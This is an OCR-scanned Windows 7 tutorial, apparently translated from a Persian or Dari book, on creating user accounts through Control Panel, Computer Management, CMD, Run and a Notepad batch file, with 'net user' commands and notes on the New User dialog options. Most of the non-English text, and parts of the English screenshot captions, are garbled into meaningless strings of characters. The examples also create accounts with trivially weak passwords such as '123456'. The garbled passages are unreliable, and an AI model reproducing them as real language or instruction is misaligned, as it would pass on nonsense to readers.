U>0J}JQMAS9JQSJL595‘—A*JL9-9[J9“595

&_iJ).uJ 0w 9.39)9[)9|USO)|.)| b 9)‘.;.469.9.1.;:-.0
o So 9l (59 2 Dloglae 4ils Ganid 3 Lz Gale ol sl

s 9less pao Joag> CigSlilier o)l (sols o3 (5295 dig logleo
Slwl b (bl b g9 giidSes @ Jlio Id d.l“;Lu.Ul gl Lwol U oSl
ol 9l JsS)9 )90l ol JoS 4o S Hlgr s> Ju> 4y Dilogleo
User or User account windows 7. 52 2leS @ge o)l )9l

G99ShHhgs b Olus (Sig)8 b 59,18 5 7 5909
A user account can be created in six ways and open

g ($Bguod5 gl o Lgrg> A3 93 gy A Wil (Sig) S
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{1}-control panel {2}-Manage {3}-CMD {4}-Run {5}-
Notepad-Notepad {6}-Open the Start menu, and click on
your user 1-Control panel.
Open the start menu and click on your control panel and.
then the user account click.
Jiwy JoriiS 4 Ly gl £6)S9 SulS (535b i Oo)liw @) guwli > dlS)o
5259 SulS (533b GigST )l 4 @ L gl £5)S9 SlS (sl

SR e ey Do 2-Manage

Opening a user account through this
manage Right click and the in(My
computer)icon, right menu and
then(manage)click.(Local Users and
group) click,(User) click, and the in

(desktop rlght) empty space click, desktop right click
menu(New User) click

E
T

-.t..aw,i»@f o B

2-1:User name.

g2 ($3h a0l 420 4 (5)lo€ (2 (5259 pgi A2 guoli S Gl (o @
Salaé Joje> CigS]
2-2: Full name.
(5259 098 JoSo gl S (el (55 4
2-3: Description.
pos 42 |3 (ilae Joyg= CugSl (S5lor oo pgS 90l S il (S5 @
alo ! U929 2 ) diglgs Calizo CigSl (5iloy 9l 5259

New User il |

Username: 2-7 Kishna

| Flname 2.9 [Kisbra

Pin to Quick access 20wl Description: 2-3 Test Guest Account

e 2

Pin to Start

Built-in accour]
Password ~ sesessssssss

Corfim password: ~ #esssssssess |
Map network drive.

Disconnect network drive... [] User must change password at next logon

Create shortcut View 3 ver exp
Delete Arrange lcors > [] Accourt is disablad
Line up lcons
Help
Help Create Close
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2-4: Password.

52509 995 L 9)5008 90li S Gl (52 4
2-5: Confirm password.

(53509 99wl diygy 420 dipn S Gl (o 4
2-6(?) User must change password at next logon.

WULPQISQJLSQ)JQMBLL&S)[D@QWIJ Lgxbwwl L;Jd)d.J).DCLS
SHlo Sud 45 9li(53S S0 290l S oligs Siglily 4 b Sig)lS dly>
ol Gins y9uwld S glguods 4 igS| Jub gunlinn 93 ()5 (5)) dodle
2-7(?) User cannot change password.

A 5918 93 (S9plg dodle S)lo S gl (3L il (53 4 Bz @S

(525 J3 )swl8 b poisy oS
2-8(?) Password never expires.

USEue pgiiy 93 (S9pl9 dode S)lo S gl ($3b Gyl (§3 @ Uy a5

PG dc) 59 4
2-9(?) Account is disabled.

2 Ol 9 (S99 dodle S)lo Sy gl S33b puinl (53 4 By @S
o > ) GaigShHlhgr des sy i o Jled

Create.
SlS ($35L (59 ) 8359 (525 0rw)T S d)gy 9w0li (3L Gl (55
JNGS b G yez 4GSl Hlier (595 guwlia 5 ¢5)Sg
o disiol) Og

New User » IEN

User name Krishna = i "
Full name: Krishna )‘JgM‘"? &S *-) dw q:.! Pg-lL L"Sw L"S.A.J |~.)
Description: Test Guest Account 0§J) 30% LS)IBJ 9|‘0J U‘LO‘Q L_)J 025.))
Password: ./  esesssssssse : v - -
Corfirm password /-5 #sesssssssss | 0.) LS)bJ
[#] User must change password at nest logon 2-6

ot change password 2-7

R

Account is disabled 9.0
Help Create Close
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Disabling the Administrator account or User account
Reactivation

(59 WL J3» g2 (53b GadgST Jlo9 yug ¢y 9> Jolled Ly CigSlljsn
Right-click on Computer and select Manage
Navigate as shown to Users
Double-click on the Administrator icon. properties option
and general
Insure that Account is disabled is checked (if it was already
checked, you're done)
Dismiss the dialog boxes
e S5 SH U dede S)bo Sui iy

CHECK this box ™|

User account make the(CMD)Open the CMD enter press.
Sl b il ) S (5353 9 (5)S o>
Net User Sadidi 123456 /add. |
483 guwli 2 dS 9> b 39> A CIgS| gunliw oi E5299 (i i o>
420 b (5)S s CIgS| ) gimminol 0L gwli 95 (595 4 )18 9l 9)S)9>
sl %,399 A>3 il
Enter button press.
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« User account make the run
)T 63 &5 i gy S 049 (59 Al ww ol Gy 19
call © Net User Sadidi 123456 /add
nce | | v Enter button press

User account make the notepad Way.
aS (52S19> DgidgSl H gy W) 1y 2 b ($36S 9wl (3L Gl (53 4
25 81 b Sg S w9l @ Sy (5333l b 59 Judb b ol (59 o
Net User Sadidi 123456 /add ($9 Livg> guwli s o5 >
Net User Salem 123456 /add  [£5. . ... . | |

Net User wasem 123456 /add ST A
Net User hkaled 123456 /add
Net User Jamal 123456 /add ™
mwmpéﬁwwbééb}mygﬁwbmmbﬂ
Sol @ W9)9 259 i gl o L ol ST ol (52599 pos 83 suls oS s

-u---t--.-

SEE - - 7 Name.bat (S2S LY Ol

= net user javid 123 fadd
§ net user jamal 123 /add

_"' -

6:0pen the Start menu, and click on
your user Way

u0>l> OF g 6395 2 $3b GunlHhs 4 Lo ol (52 givo )l 1
OS 45 4 SSiglil) 4 Wlogleo )gi glig)S

)9.)‘991?.4} d.xJ.)f)..Q) d> K 0991 l.) )90 )99 |5
2995 S dlllelis o S 4o b S Uy 4 Dlogleo

l99 9L

b 6)3 6)'9-‘ y 6,}5 Jloziwl jigepeS Glac 2 (5259 LinbgS b gl
o (63 3gain)d CaSGL
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Windows 7 operating systemThe third part of the book
about information
ol 4-‘9-D|)5°9)J 9l dszwl ol digileS u@w giso L,J)lw @ u5 4> )
Cabg 45 gl 99 B sig) a8 dlllelis T glg ol ego oS iy JoyiiS
.99 0yl

4y diwin Dby 009 95 (9 LIS e a5 a5 Lo S DS s3ly
k,l&Lga»lJU}ojboPd.o.@ong.g)JPfuuLwl(o_QO)dS:(JAIQ_C

S$159 0)53)

v 2 4
93:0)S ply g0 4 UliS 9l (5345 9l (5259 Al Hlgw 3 > dlS )0 @) )90
339)9 oli> 9li 595 abh OB 4y & JgSuw olli (2 )lauw y a9 (0 )90
ubydgsww)gbqsdﬁmowbo)bglujogl 095(«:bL5.»b
do pud & Ju ol Jlo 1z 1.5 0)le 4y gy e soldgy do (5
ol )3y 1> ol gles) 4o )18 00 Lz ol 35 ol > 533k 0)3 Ju> (52009
@ ) d.UI.).o:JldJL_gb (S LT S Sy )90

IQJLDUOL_MJ)Q.O 1>

SN Jo>llelinsd 1SigeS iy

sL

Sadidi
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